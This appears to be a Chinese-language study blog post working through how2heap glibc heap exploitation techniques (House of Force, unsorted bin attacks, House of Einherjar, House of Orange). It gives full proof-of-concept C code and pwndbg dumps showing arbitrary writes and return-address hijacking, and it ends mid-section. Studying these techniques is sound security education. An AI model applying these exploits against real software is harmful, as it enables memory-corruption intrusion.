0%

how2heap3

unsorted前置知识

基本原理

当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。
当进行 malloc_consolidate 时,如果不是和 top chunk 近邻的话,会把合并后的 chunk 放到 unsorted bin 中。

基本使用情况

Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取。
在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。

1、House_of_Force

利用原理

随便malloc一个chunk,然后通过溢出覆盖到top chunk的size为0xffffffffffffffff,这时候malloc一个很大size的chunk,即会使用top chunk来分配,因为top chunk 的位置加上这个大数,造成整数溢出结果是 top chunk 能够被转移到堆之前的内存地址(如程序的 .bss 段、.data 段、GOT 表等),这时候再malloc一次,可以控制到堆之前的内存地址

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main() {
fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var);

intptr_t *p1 = malloc(0x10);
int real_size = malloc_usable_size(p1);
memset(p1, 'A', real_size);
fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1);
fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size);

intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n");
fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
ptr_top[0] = -1;
fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));

unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
int real_size_new = malloc_usable_size(new_ptr);
memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr);

void* ctr_chunk = malloc(0x30);
fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n");

fprintf(stderr, "old string: %s\n", bss_var);
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "new string: %s\n", bss_var);
}

具体分析

  1. intptr_t ptr_top = (intptr_t ) ((char *)p1 + real_size - sizeof(long));执行前后

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    pwndbg> x/10gx 0x55555555b0f0
    0x55555555b0c0: 0x0000000000000000 0x0000000000000000
    0x55555555b0d0: 0x0000000000000000 0x0000000000000000
    0x55555555b0e0: 0x0000000000000000 0x0000000000000000
    0x55555555b0f0: 0x0000000000000000 0x0000000000000000
    0x55555555b100: 0x0000000000000000 0x0000000000000000
    0x55555555b110: 0x0000000000000000 0x0000000000020ef1
    pwndbg> p ptr_top
    $5 = (intptr_t *) 0x55555555b110
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b000
    Size: 0x111

    Top chunk | PREV_INUSE
    Addr: 0x55555555b110
    Size: 0x20ef1
    //-------------------------------------------------------
    pwndbg> x/10gx 0x55555555b0f0
    0x55555555b0f0: 0x0000000000000000 0x0000000000000000
    0x55555555b100: 0x0000000000000000 0x0000000000000000
    0x55555555b110: 0x0000000000000000 0xffffffffffffffff
    0x55555555b120: 0x0000000000000000 0x0000000000000000
    0x55555555b130: 0x0000000000000000 0x0000000000000000
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b000
    Size: 0x111

    Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
    Addr: 0x55555555b110
    Size: 0xffffffffffffffff
  2. 此时top chunk已经被修改了,这时候call malloc 会得到大小为0xffffffffffffcef0 地址为0x55555555b000+0x120(0x111+0x10-1)的chunk,再次malloc(100) 则会得到大小为100,地址为0xffffffffffffcef0+0x55555555b110=0x10000555555558000(整数溢出,会去掉最高位的1)

    1
    2
    3
    4
    pwndbg> p ctr_chunk
    $17 = (void *) 0x555555558020 <bss_var>
    pwndbg> x/5s 0x555555558020
    0x555555558020 <bss_var>: "This is a string that we want to overwrite."
  3. strcpy(ctr_chunk, “YEAH!!!”);这时往ctr_chunk赋值会发现bss_var被篡改

    1
    2
    pwndbg> x/5s 0x555555558020
    0x555555558020 <bss_var>: "YEAH!!!"

Unsorted_Bin_Into_Stack

利用原理

有点像house_of_lore,house_of_lore伪造smallbin,而这次伪造unsorted_bin,再栈上构造一个chunk,free 一个chunk,修改 unsorted bin 里 chunk 的 bk 指针到任意地址。从而在栈上 malloc 出 chunk。

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>

void jackpot(){ printf("Nice jump d00d\n"); exit(0); }

int main() {
setbuf(stdout, NULL);
intptr_t stack_buffer[4] = {0};

printf("This technique only works with disabled tcache-option for glibc or the size of the victim chunk is larger than 0x408, see build_glibc.sh for build instructions.\n");

printf("Allocating the victim chunk\n");
intptr_t* victim = malloc(0x410);

printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
intptr_t* p1 = malloc(0x100);

printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free(victim);

printf("Create a fake chunk on the stack");
printf("Set size for next allocation and the bk pointer to any writable address");
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;

//------------VULNERABILITY-----------
printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
//------------------------------------

printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
char *p2 = malloc(0x100);
printf("malloc(0x100): %p\n", p2);

intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

assert((long)__builtin_return_address(0) == (long)jackpot);

具体分析

  1. victim[-1] = 32;victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack执行前后

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    pwndbg> x/20gx 0x55555555b240
    0x55555555b240: 0x0000000000000000 0x0000000000000000
    0x55555555b250: 0x0000000000000000 0x0000000000000421
    0x55555555b260: 0x00007ffff7dd2ca0 0x00007ffff7dd2ca0
    //------------------------------------
    pwndbg> x/20gx 0x55555555b240
    0x55555555b240: 0x0000000000000000 0x0000000000000000
    0x55555555b250: 0x0000000000000000 0x0000000000000020
    0x55555555b260: 0x00007ffff7dd2ca0 0x00007fffffffe0d0

    pwndbg> x/20gx 0x00007fffffffe0d0
    0x7fffffffe0d0: 0x0000000000000000 0x0000000000000110
    0x7fffffffe0e0: 0x0000000000000000 0x00007fffffffe0d0

    pwndbg> heap

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b000
    Size: 0x251

    Free chunk (unsortedbin)
    Addr: 0x55555555b250
    Size: 0x20
    fd: 0x7ffff7dd2ca0
    bk: 0x7fffffffe0d0

    Allocated chunk
    Addr: 0x55555555b270
    Size: 0x00
    7fffffffe0d0
  2. 此时再次malloc(100),由于伪造的unsorted chunk size正好是100,因此得到一个位于stack上的chunk,memcpy((p2+40), &sc, 8) p2+40位置是返回地址,将其覆盖为jackpot,最后程序就会执行jackpot,而 victim chunk 被从 unsorted bin 中取出来放到了 small bin 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> stack 30
00:0000│ rsp 0x7fffffffe0b0 —▸ 0x555555555229 (jackpot) ◂— 0xe5894855fa1e0ff3
01:00080x7fffffffe0b8 —▸ 0x55555555b260 —▸ 0x7ffff7dd2cb0 (main_arena+112) —▸ 0x55555555b250 ◂— 0x0
02:00100x7fffffffe0c0 —▸ 0x55555555b680 ◂— 0x0
03:00180x7fffffffe0c8 —▸ 0x7fffffffe0e0 —▸ 0x7ffff7dd2ca0 (main_arena+96) —▸ 0x55555555b780 ◂— 0x0
04:00200x7fffffffe0d0 ◂— 0x0
05:00280x7fffffffe0d8 ◂— 0x110
06:00300x7fffffffe0e0 —▸ 0x7ffff7dd2ca0 (main_arena+96) —▸ 0x55555555b780 ◂— 0x0
07:00380x7fffffffe0e8 —▸ 0x7fffffffe0d0 ◂— 0x0
08:00400x7fffffffe0f0 —▸ 0x7fffffffe1e0 ◂— 0x1
09:00480x7fffffffe0f8 ◂— 0xa9ea08e29ac3d600
0a:0050│ rbp 0x7fffffffe100 —▸ 0x555555555410 (__libc_csu_init) ◂— 0x8d4c5741fa1e0ff3
0b:0058│ rdx 0x7fffffffe108 —▸ 0x555555555229 (jackpot) ◂— 0xe5894855fa1e0ff3

0x5555555553f5 <main+430> mov rcx, qword ptr [rbp - 8]
0x5555555553f9 <main+434> xor rcx, qword ptr fs:[0x28]
0x555555555402 <main+443> je main+450 <main+450>

0x555555555409 <main+450> leave
0x55555555540a <main+451> ret <0x555555555229; jackpot>

0x555555555229 <jackpot> endbr64
0x55555555522d <jackpot+4> push rbp
0x55555555522e <jackpot+5> mov rbp, rsp

3、Unsorted_Bin_Attack

利用原理

glibc/malloc/malloc.c 中的 _int_malloc 有这么一段代码,当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
fprintf(stderr, "This technique only works with buffers not going into tcache, either because the tcache-option for "
"glibc was disabled, or because the buffers are bigger than 0x408 bytes. See build_glibc.sh for build "
"instructions.\n");
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

volatile unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

unsigned long *p=malloc(0x410);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);

//------------VULNERABILITY-----------

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

//------------------------------------

malloc(0x410);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);

assert(stack_var != 0);
}

具体分析

  1. p[1]=(unsigned long)(&stack_var-2);执行前后

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    pwndbg> bins
    tcachebins
    empty
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x55555555c250 —▸ 0x7ffff7dd2ca0 (main_arena+96) ◂— 0x55555555c250
    smallbins
    empty
    largebins
    empty

    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555c000
    Size: 0x251

    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x55555555c250
    Size: 0x421
    fd: 0x7ffff7dd2ca0
    bk: 0x7ffff7dd2ca0

    Allocated chunk
    Addr: 0x55555555c670
    Size: 0x200

    Top chunk | PREV_INUSE
    0x55555555c260: 0x00007ffff7dd2ca0 0x00007ffff7dd2ca0
    0x55555555c270: 0x0000000000000000 0x0000000000000000
    0x55555555c280: 0x0000000000000000 0x0000000000000000
    0x55555555c290: 0x0000000000000000 0x0000000000000000
    //------------------------------------------------
    pwndbg> x/10x 0x55555555c250
    0x55555555c250: 0x0000000000000000 0x0000000000000421
    0x55555555c260: 0x00007ffff7dd2ca0 0x00007fffffffe0e8
    0x55555555c270: 0x0000000000000000 0x0000000000000000
    0x55555555c280: 0x0000000000000000 0x0000000000000000
    0x55555555c290: 0x0000000000000000 0x0000000000000000
    pwndbg> bins
    tcachebins
    empty
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all [corrupted]
    FD: 0x55555555c250 —▸ 0x7ffff7dd2ca0 (main_arena+96) ◂— 0x55555555c250
    BK: 0x55555555c250 —▸ 0x7fffffffe0e8 —▸ 0x55555555c260 ◂— 0x0
    smallbins
    empty
    largebins
    empty
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555c000
    Size: 0x251

    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x55555555c250
    Size: 0x421
    fd: 0x7ffff7dd2ca0
    bk: 0x7fffffffe0e8

    Allocated chunk
    Addr: 0x55555555c670
    Size: 0x200

    Top chunk | PREV_INUSE
    Addr: 0x55555555c870
    Size: 0x20791
  2. malloc(0x410)
    unsorted_chunks 0x7ffff7dd2ca0
    victim=unsorted_chunks -> bk=0x000055555555c250
    bck= victim->bk = 0x00007fffffffe0e8
    bck->fd=0x00007fffffffe0f8=0x7ffff7dd2ca0

  • victim = unsorted_chunks(av)->bk=p
  • bck = victim->bk=p->bk = target addr-16
  • unsorted_chunks(av)->bk = bck=target addr-16
  • bck->fd = *(target addr -16+16) = unsorted_chunks(av)

house_of_einherjar

利用原理

在栈上构造一个fake chunk,申请两块chunk,利用单字节溢出将覆盖第二块chunk的size,使其prev_in_use标志变为0,再将第二块chunk的prev_size字段覆盖为(chunk_b地址-fakechunk地址),同时为了绕过检查,还需要将 fake chunk 的 size 字段与 chunk b 的 prev_size 字段相匹配,此时free chunkb,由于prev_size为0触发consolidate,将第一块chunk与第二块chunk合并。consolidate时chunk b的prev_size为(chunk_b地址-fakechunk地址),导致最后使程序算出错误的free chunk地址(chunk_b-prev_size=chunk_b-chunk_b+fakechunk),此时再malloc即可以得到一块位于栈上的fakechunk

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/

int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("Welcome to House of Einherjar!\n");
printf("Tested in Ubuntu 18.04.4 64bit.\n");
printf("This technique only works with disabled tcache-option for glibc or with size of b larger than 0x408, see build_glibc.sh for build instructions.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
uint8_t* b;
uint8_t* d;

printf("\nWe allocate 0x38 bytes for 'a'\n");
a = (uint8_t*) malloc(0x38);
printf("a: %p\n", a);

int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

// create a fake chunk
printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
printf("(although we could do the unsafe unlink technique here in some scenarios)\n");

size_t fake_chunk[6];

fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


printf("Our fake chunk at %p looks like:\n", fake_chunk);
printf("prev_size (not used): %#lx\n", fake_chunk[0]);
printf("size: %#lx\n", fake_chunk[1]);
printf("fwd: %#lx\n", fake_chunk[2]);
printf("bck: %#lx\n", fake_chunk[3]);
printf("fwd_nextsize: %#lx\n", fake_chunk[4]);
printf("bck_nextsize: %#lx\n", fake_chunk[5]);

/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x4f8);
int real_b_size = malloc_usable_size(b);

printf("\nWe allocate 0x4f8 bytes for 'b'.\n");
printf("b: %p\n", b);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

printf("\nb.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x500) | prev_inuse = 0x501\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
/* VULNERABILITY */
a[real_a_size] = 0;
/* VULNERABILITY */
printf("b.size: %#lx\n", *b_size_ptr);
printf("This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");
printf("If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunk\n");

// Write a fake prev_size to the end of a
printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

//Change the fake chunk's size to reflect b's new prev_size
printf("\nModify fake chunk's size to reflect b's new prev_size\n");
fake_chunk[1] = fake_size;

// free b and it will consolidate with our fake chunk
printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
free(b);
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

//if
we allocate another chunk before we free b we will need to
//do two things:
//1) We will need to adjust the size of our fake chunk so that
//fake_chunk + fake_chunk's size points to an area we control
//2) we will need to write the size of our fake chunk
//at the location we control.
//After doing these two things, when unlink gets called, our fake chunk will
//pass the size(P) == prev_size(next_chunk(P)) test.
//otherwise we need to make sure that our fake chunk is up against the
//wilderness
//

printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
d = malloc(0x200);
printf("Next malloc(0x200) is at %p\n", d);

assert((long)d == (long)&fake_chunk[2]);
}
  1. fake_chunk[5] = (size_t) fake_chunk 构造完fakechunk以后

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    pwndbg> p fake_chunk
    $1 = {256, 256, 140737488348400, 140737488348400, 140737488348400, 140737488348400}
    pwndbg> p/x fake_chunk
    $2 = {0x100, 0x100, 0x7fffffffe4f0, 0x7fffffffe4f0, 0x7fffffffe4f0, 0x7fffffffe4f0}
    pwndbg> p/x &fake_chunk
    $3 = 0x7fffffffe4f0
    pwndbg> x/20gx 0x7fffffffe4f0
    0x7fffffffe4f0: 0x0000000000000100 0x0000000000000100
    0x7fffffffe500: 0x00007fffffffe4f0 0x00007fffffffe4f0
    0x7fffffffe510: 0x00007fffffffe4f0 0x00007fffffffe4f0
    0x7fffffffe520: 0x00007fffffffe610 0x25c3bd6b0b1b9500
    0x7fffffffe530: 0x00005555555555f0 0x00007ffff7a44b8e
    0x7fffffffe540: 0x0000000000040000 0x00007fffffffe618
    0x7fffffffe550: 0x00000001f7b96fc8 0x0000555555555229
    0x7fffffffe560: 0x0000000000000000 0x298666c63b010ef3
    0x7fffffffe570: 0x0000555555555140 0x00007fffffffe610
    0x7fffffffe580: 0x0000000000000000 0x0000000000000000
    pwndbg> stack 20
    00:0000│ rsp 0x7fffffffe4c0 ◂— 0x38 /* '8' */
    01:00080x7fffffffe4c8 —▸ 0x55555555c260 ◂— 0x0
    02:00100x7fffffffe4d0 ◂— 0xc2
    03:00180x7fffffffe4d8 —▸ 0x7fffffffe50e ◂— 0x7fffffffe4f00000
    04:00200x7fffffffe4e0 ◂— 0x1
    05:00280x7fffffffe4e8 —▸ 0x7ffff7ac1821 (handle_intel.constprop+145) ◂— test rax, rax
    06:0030│ rax 0x7fffffffe4f0 ◂— 0x100
  2. a[real_a_size] = 0;覆盖掉chunk_b的prev_in_use标志位为0(501->500)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    pwndbg> x/30gx 0x55555555c250
    0x55555555c250: 0x0000000000000000 0x0000000000000041
    0x55555555c260: 0x0000000000000000 0x0000000000000000
    0x55555555c270: 0x0000000000000000 0x0000000000000000
    0x55555555c280: 0x0000000000000000 0x0000000000000000
    0x55555555c290: 0x0000000000000000 0x0000000000000500
    0x55555555c2a0: 0x0000000000000000 0x0000000000000000
    0x55555555c2b0: 0x0000000000000000 0x0000000000000000
    0x55555555c2c0: 0x0000000000000000 0x0000000000000000
    0x55555555c2d0: 0x0000000000000000 0x0000000000000000
    0x55555555c2e0: 0x0000000000000000 0x0000000000000000
    0x55555555c2f0: 0x0000000000000000 0x0000000000000000
    0x55555555c300: 0x0000000000000000 0x0000000000000000
    0x55555555c310: 0x0000000000000000 0x0000000000000000
    0x55555555c320: 0x0000000000000000 0x0000000000000000
    0x55555555c330: 0x0000000000000000 0x0000000000000000
    pwndbg> p a
    $6 = (uint8_t *) 0x55555555c260 ""
    pwndbg> p b
    $7 = (uint8_t *) 0x55555555c2a0 ""
  3. 用fake_size覆盖chunkb的prev_size,fake_size大小为chunk_b地址-fakechunk地址

    1
    2
    3
    4
    5
    6
    7
    8
    pwndbg> x/30gx 0x55555555c250
    0x55555555c250: 0x0000000000000000 0x0000000000000041
    0x55555555c260: 0x0000000000000000 0x0000000000000000
    0x55555555c270: 0x0000000000000000 0x0000000000000000
    0x55555555c280: 0x0000000000000000 0x0000000000000000
    0x55555555c290: 0xffffd5555555dda0 0x0000000000000500
    0x55555555c2a0: 0x0000000000000000 0x0000000000000000
    0x55555555c2b0: 0x0000000000000000 0x0000000000000000
  4. free(b)由于进行了错误的consolidate,free以后指向了错误的area

1
2


  1. d = malloc(0x200);再次malloc即可得到我们的fakechunk,因为size_t fake_size = (size_t)((b-sizeof(size_t)2) - (uint8_t)fake_chunk);
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    pwndbg> p d
    $9 = (uint8_t *) 0x7fffffffe500 "\360\344\377\377\377\177"
    pwndbg> p b
    $19 = (uint8_t *) 0x55555555c2a0 ""
    pwndbg> p/x &fake_chunk
    $13 = 0x7fffffffe4f0
    pwndbg> p/x fake_chunk
    $8 = {0x100, 0xffffd5555555dda0, 0x7fffffffe4f0, 0x7fffffffe4f0, 0x7fffffffe4f0, 0x7fffffffe4f0}
    pwndbg> x/20gx 0x7fffffffe4f0
    0x7fffffffe4f0: 0x0000000000000100 0xffffd5555555dda0
    0x7fffffffe500: 0x00007fffffffe4f0 0x00007fffffffe4f0
    0x7fffffffe510: 0x00007fffffffe4f0 0x00007fffffffe4f0
    0x7fffffffe520: 0x00007fffffffe610 0x25c3bd6b0b1b9500

    >>> hex(0x1ffff55555555c2a0-0xffffd5555555dda0)='0xffff7fffffffe500'

House_of_Orange

利用原理

分配了一个0x400大小的chunk,此时top chunk 剩余0x20c00,如果0x400的chunk存在溢出漏洞,我们覆盖掉top chunk的大小为0xc01。然后我们申请一个大小大于top chunk size的chunk,malloc会试着扩大top chunk,在老的top chunk之后新申请一块top chunk并且老的top chunk被释放放入unsorted bins中。再次利用溢出漏洞用用_IO_list_all - 16( _IO_list_all可以通过old top chunk的fd/bk推算出来)来覆盖unsorted bins的bk,这时再申请一个大小大于top chunk的chunk,sysmalloc会被调用,接着调用_int_free

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

/*
The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
It requires a leak of the heap and the libc
Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/

/*
This function is just present to emulate the scenario where
the address of the function system is known.
*/
int winner ( char *ptr);

int main()
{
/*
The House of Orange starts with the assumption that a buffer overflow exists on the heap
using which the Top (also called the Wilderness) chunk can be corrupted.

At the beginning of execution, the entire heap is part of the Top chunk.
The first allocations are usually pieces of the Top chunk that are broken off to service the request.
Thus, with every allocation, the Top chunks keeps getting smaller.
And in a situation where the size of the Top chunk is smaller than the requested value,
there are two possibilities:
1) Extend the Top chunk
2) Mmap a new page

If the size requested is smaller than 0x21000, then the former is followed.
*/

char *p1, *p2;
size_t io_list_all, *top;

fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
"which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");

fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
"https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

/*
Firstly, lets allocate a chunk on the heap.
*/

p1 = malloc(0x400-16);

/*
The heap is usually allocated with a top chunk of size 0x21000
Since we've allocate a chunk of size 0x400 already,
what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01.

The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap,
it must also be page aligned at the end.

Also, if a chunk that is adjacent to the Top chunk is to be freed,
then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set.

So that means that there are two conditions that must always be true.
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.

We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE.
What's left is 0x20c01

Now, let's satisfy the conditions
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.
*/

top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;

/*
Now we request a chunk of size larger than the size of the Top chunk.
Malloc tries to service this request by extending the Top chunk
